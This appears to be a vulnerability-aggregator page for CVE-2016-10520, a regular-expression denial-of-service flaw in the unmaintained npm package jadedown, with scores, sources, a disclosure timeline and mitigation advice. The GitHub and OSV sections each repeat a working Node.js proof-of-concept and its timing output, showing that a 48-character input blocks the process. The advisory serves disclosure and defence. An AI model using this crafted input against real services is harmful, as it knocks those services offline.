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CVE-2016-10520

Regular Expression Denial of Service in jadedown

7.5 High

CVE-2016-10520 is a high vulnerability (CVSS 7.5) in Jadedown Project Jadedown, published May 31, 2018. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.12%, the 66th percentile. No source names a fixed version.

What does this mean?
Severity
7.5 HighCVSS 3.1, NVD
Exploit chance
1.12%EPSS, 66th percentile
Exploitation
None knownNot on CISA’s or ENISA’s lists
Fixed in
No fix listedNo source names one

Description

jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

1.12%Up 0.2 points since Feb 4, 2022
90%50%10%1%

Affected products

Affected packages

Affected packages
PackageAffectedFixed
jadedown
npm
through 0.0.3None known

What each source reports

NVD Score used7.5

jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
CVE-2016-10520
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-400, CWE-20
Updated
2026-11-02
CVE ListNo score

jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
CVE-2016-10520
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2019-0234No score

jadedown is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

Record
EUVD-2019-0234
Updated
2026-11-03
GitHub AdvisoriesGHSA-6354-6mhv-mvv5No score

Regular Expression Denial of Service in jadedown

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

Record
GHSA-6354-6mhv-mvv5
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-6354-6mhv-mvv5No score

Regular Expression Denial of Service in jadedown

The jadedown package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in.

Proof of concept

var jadedown = require('jadedown');

var genstr = function (len, chr) {
    var result = "";
    for (i=0; i<=len; i++) {
        result = result + chr;
    }

    return result;
}


for (i=1;i<=10000000;i=i+1) {
    console.log("COUNT: " + i);
    var str = genstr(i, 'f') + genstr(i, '#') + '{';
    console.log("LENGTH: " + str.length);
    var start = process.hrtime();
    jadedown(str)

    var end = process.hrtime(start);
    console.log(end);
}

Results demonstrating blocking for 5 seconds using only 48 characters.

$ node jadedown.js
COUNT: 1
LENGTH: 6
[ 0, 4014065 ]
COUNT: 4
LENGTH: 12
[ 0, 503507 ]
COUNT: 7
LENGTH: 18
[ 0, 325225 ]
COUNT: 10
LENGTH: 24
[ 0, 1632684 ]
COUNT: 13
LENGTH: 30
[ 0, 7541230 ]
COUNT: 16
LENGTH: 36
[ 0, 80889495 ]
COUNT: 19
LENGTH: 42
[ 0, 636009936 ]
COUNT: 22
LENGTH: 48
[ 5, 820586760 ]

Timeline

  • October 24, 2015 - Vulnerability Identified
  • October 24, 2015 - Maintainers Notified
  • October 25, 2015 - Response from Maintainers with intent to fix
  • January 5, 2016 - Advisory Published
  • January 11, 2016 - CVE Requested

Recommendation

This package is not actively maintained, and has not seen an update since 2011.

The package also provides unique functionality in the form of a templating language that is not available elsewhere. If this package is used to process user input, the best available mitigation is to refactor the dependent application to not make use of this module.

Record
GHSA-6354-6mhv-mvv5
Weakness
CWE-400
Updated
2026-11-02

History

History
RecordedChangedSources
facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

References

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